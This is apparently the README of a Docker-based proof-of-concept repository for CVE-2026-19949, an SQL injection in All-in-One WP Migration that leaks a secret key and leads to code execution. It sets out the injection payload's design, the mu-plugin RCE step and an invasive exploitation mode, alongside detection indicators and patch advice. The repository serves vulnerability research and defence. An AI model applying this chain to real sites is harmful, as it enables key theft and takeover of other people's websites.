POC-AIOWPM-CVE-2026-19949

Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution.

⚠️ Educational and defensive use only. This lab attacks a WordPress site running on your own machine, inside Docker containers. Do not use it against systems you do not own or are not explicitly authorized to test.

Table of contents

1. Vulnerability overview
2. Root cause: the regex that flips the string boundary
3. The patch (7.109 → 7.110)
4. Full attack chain
5. The derived payload (our own design)
6. What this repository reproduces and verifies
7. Version compatibility (verified)
8. Repository layout
9. Requirements and quick start
10. Step-by-step phases (make targets)
11. Demo CLI
12. CVE landing page
13. Detection and mitigation
14. Research notes
15. References
16. Legal notice

1. Vulnerability overview

The plugin's export/import flow dumps the database to SQL (database.sql inside the .wpress) and, on import, rewrites every statement with Ai1wm_Database::replace_table_values() to substitute URLs and table prefixes. To locate string literals it uses the regex:

The problem is the negative lookbehind (?<!\\): it inspects a single byte before each candidate closing quote instead of counting the full run of backslashes. In a MySQL dump, data ending in \ is written as ...\\' — a closing quote preceded by an even number of backslashes (a real string ending in a backslash) — but the regex believes it is escaped and over-captures the next literal. The callback then runs unescape_mysql → replace_serialized_values → escape_mysql over the over-captured value, and that cycle re-emits an unbalanced quote/backslash sequence that flips the MySQL string boundary in the resulting statement, promoting attacker-controlled data into executable SQL.

2. Root cause: the regex that flips the string boundary

With the trackback planted (see §4), the row in database.sql reads:

The author ends in \ at the data level → the dump writes it as \\ → the closing quote is preceded by an even run. The regex over-captures up to the opening quote of the next field and the callback re-escapes the whole set:

From that point on, everything that followed in the statement is re-tokenized with inverted parity (data that was a string becomes code and vice versa). The patched 7.110 regex processes the same line and returns it unchanged.

You can watch it byte by byte, without exploiting anything, with make demo-flip (exploit/04_demo_flip.php), which runs the REAL 7.109 and 7.110 plugin code over the same dump line.

3. The patch (7.109 → 7.110)

The new pattern tokenizes MySQL literals correctly: either a character that is not a quote/backslash, or an escape pair \x, with possessive quantifiers. An even backslash run no longer confuses the literal's closing quote.

4. Full attack chain

The chain published by Wordfence (Sept. 2026) has four steps:

1. Planting (unauthenticated) — the attacker sends trackbacks to a public post with open pings (wp-trackback.php?p=<id>). The blog name (→ comment_author) ends in \ and the URL (→ comment_author_url) carries the payload. WordPress stores both without touching the backslash. In the published variant, the first trackback acts as a time bomb: it forces the import pass to be cut off (10 s limit) so the payload executes in a later pass, once the importer has restored the site's ai1wm_secret_key into wp_options (the exporter excludes it from the dump; the importer rewrites it between passes).
2. Trigger (admin action) — an administrator exports and restores the site. During the import, the vulnerable regex rewrites the trackback row: the string boundary flips and the payload becomes executable SQL.
3. Leak — the payload copies ai1wm_secret_key into an approved comment of type comment, visible in the comments REST API without authentication.
4. RCE — admin-ajax.php?action=ai1wm_import is registered for anonymous users too (wp_ajax_nopriv_ai1wm_import) and its only barrier is ai1wm_verify_secret_key(). With the leaked key, the attacker drives the import chain with their own .wpress containing a mu-plugin; the Ai1wm_Import_Mu_Plugins step (priority 270 of the chain) extracts it to wp-content/mu-plugins/ → code execution on the next page load.

This repository verifies the chain end to end with a single planted trackback (the time bomb is not needed in the lab: the row executes in a pass subsequent to the key being restored).

5. The derived payload (our own design)

The researcher's exact exploit is not public (exhaustive search on 2026-09-07: GitHub — the 2 existing repos are an empty template and a mass tool targeting nonexistent endpoints —, Exploit-DB/PacketStorm: none, Sploitus only indexes those fake repos, WPScan has no PoC, forums only carry news; forensic detail in research/poc-publica/ANALISIS.md).

We derived it ourselves from the mechanics of the bug (exploit/investigacion/). Design:

1. The blog name ends in \ → the vulnerable regex's one-byte lookbehind over-captures the next literal and the unescape→escape cycle flips the string boundary.
2. After the flip, the attacker's URL sits as bare SQL code inside the INSERT statement (the merged comment_author and a , string absorb the offset; a leading comma in the URL restores the swallowed structural separator).
3. The URL supplies the remaining 12 expressions of the tuple using hex literals and /**/ as separators:
   • a quote from the data reaches the dump as \' and, in code position, would leave an orphan backslash (error 1064) — hence hex (0x616931776d… = "ai1wm_secret_key");
   • sanitize_url strips spaces (and prepends http:// to anything not starting with /) — hence the /*pwn*/ head and the /**/;
   • column mapping: column 5 (comment_author_url) = the subquery reading the key → the key lands in a public field; column 11 = 0x31 ('1', approved comment); column 13 = 0x636f6d6d656e74 ('comment', visible in the anonymous REST);
   • ) closes the tuple with exactly 15 values and # (a MySQL comment needing no space, preserved by sanitize_url) neutralizes the rest of the original statement.
4. The subquery references SERVMASK_PREFIX_options: the importer rewrites SERVMASK→real prefixes before the regex pass, so the payload works on sites with any table prefix (verified). The only target-specific datum is its URL, carried in the excerpt to trip the importer's strpos filter (it only rewrites lines containing it).

The resulting statement (the one MySQL executes during the restore): comment_author_url = (SELECT option_value FROM <prefix>_options WHERE option_name='ai1wm_secret_key') — the real key ends up in a field the REST API exposes without authentication.

6. What this repository reproduces and verifies

End-to-end verified outcome: after the admin's export+restore, the real ai1wm_secret_key shows up as the author_url of an approved comment in GET /wp-json/wp/v2/comments — with no authentication whatsoever — and the RCE phase runs with it (mu-plugin extracted and executed, evidence markers in wp-content/). On 7.110 the row survives intact (the payload stays inert data) and there is no leak.

The RCE phase is additionally demonstrated in isolation: its only input is the key, which can be passed by hand (make rce KEY=…) — exactly the attacker's position after the leak.

7. Version compatibility (verified)

Matrix run with bash research/test-wp-versions.sh 7.0 6.9 6.8 (lab rebuilt per version, plugin 7.109, identical payload):

The mechanics are stable across all of them: sanitize_url preserves the payload, wp_comments keeps its 15 columns, and wp-trackback.php remains operational. The payload is table-prefix independent (see §5).

8. Repository layout

Artifacts generated while running and not shared (see .gitignore): informes/ (contains leaked keys), exploit/malicious.wpress, plugin-src/ (extracted 7.109/7.110 sources used for diffing), research/*.zip (original zips from WordPress.org), research/database.sql, research/backup-legit.wpress, and the files of the analyzed fake PoCs.

9. Requirements and quick start

Requirements: Docker (with the compose plugin), make, python3 with requests, curl.

Expected output (abridged):

Victim site access: http://localhost:8080 — admin / admin-password-123 (public post ID 4 with open pings and comments).

10. Step-by-step phases (make targets)

11. Demo CLI

A single command with all modes; writes reports to informes/ (text + JSON; that folder is kept out of the repository because it contains keys):

• lab brings up the lab, runs the whole chain plus the 7.110 negative control, and writes the report (--sin-control to skip it).
• scan is 100 % passive: reads the plugin's public readme.txt, checks wp-trackback.php and the comments REST. Returns a verdict.
• verificar re-checks whether the key already appears in the anonymous REST (e.g. hours after planting, once the admin has done a backup+restore).
• explotar is INVASIVE and requires --acepto-responsabilidad plus an interactive confirmation of the domain: plants the trackback, simulates the admin (export → backup download → re-upload and restore; HTTP-only, with credentials YOU provide for YOUR site), reads the leaked key and, with --rce, leaves a benign marker via anonymous import. Without admin credentials: it plants and waits (--esperar to hold for the leak; --post-id to pick a post; --no-interactivo for scripting).

12. CVE landing page

A static bilingual page (ES/EN, header toggle, remembered preference) that explains the CVE and the payload in vulnerability-database style: overview, chain, interactive payload breakdown segment by segment, verification matrices and mitigation.

No external dependencies (no CDN, no third-party JS): works by opening web/index.html directly or with any static server.

13. Detection and mitigation

• Update All-in-One WP Migration and Backup to ≥ 7.110 (the mitigation is the regex patch itself).
• Additional defensive measures: close wp-trackback.php and pingbacks (discussion settings / WAF), restrict admin-ajax.php for anonymous users where possible, and monitor for files appearing in wp-content/mu-plugins/ and for the ai1wm_secret_key option in anomalous contexts (e.g. comments).
• IOCs (for detection purposes): trackback comments whose comment_author ends in \ or whose comment_author_url contains SELECT/**/, CONCAT(, long 0x… literals or /*…*/; approved comments whose author_url is a 12-character alphanumeric string with no scheme.

14. Research notes

• Payload derivation (exploit/investigacion/, notes in Spanish): we started from a harness (harness.php) that loads the REAL 7.109 plugin classes and runs the pipeline against a test MySQL holding a fake key. The fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php) explored critical alphabets over the four attacker-controllable trackback fields; afinar_payload.php tuned the number of expressions (N=12) and test_payload_final.php validated the complete design. NOTAS.md records the analysis, including the structural walls (fixed fields of the wp_comments INSERT, the importer-imposed sql_mode, the site-URL strpos filter).
• There is no real public exploit (research/poc-publica/ANALISIS.md, in Spanish): the two GitHub repos claiming one use nonexistent endpoints (aio-migration/v1 with permission_callback vs the real ai1wm/v1), the wrong upload field (file vs upload_file), ZIP instead of .wpress, and a circular premise. No tertiary source has an original PoC.
• The exploit in this PoC is derived from the mechanics, not copied from anyone: an independent verification that the chain published by Wordfence is exploitable exactly as described.

15. References

• Wordfence — 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin (September 2026)
• CVE entry: https://nvd.nist.gov/vuln/detail/CVE-2026-19949
• WPScan — All-in-One WP Migration and Backup < 7.110 — Unauthenticated Second-Order SQLi — https://wpscan.com/vulnerability/03fc9f1a-5199-40fa-960d-75a266eb7e95/
• Patch 7.110: https://downloads.wordpress.org/plugin/all-in-one-wp-migration.7.110.zip (the vulnerable→patched diff lives in lib/vendor/servmask/database/ class-ai1wm-database.php:1637; extracted sources sit in plugin-src/, not shared)

16. Legal notice

This material is published for educational and defensive purposes: understanding the vulnerability, verifying the patch, and building detections. The chain has only been executed against self-owned Docker labs. Attacking third-party systems without written authorization is illegal in most jurisdictions. If you run affected sites: update to ≥ 7.110, rotate the ai1wm_secret_key (deactivate/reactivate the plugin or delete the option so it is regenerated) and audit wp-content/mu-plugins/ and recent comments.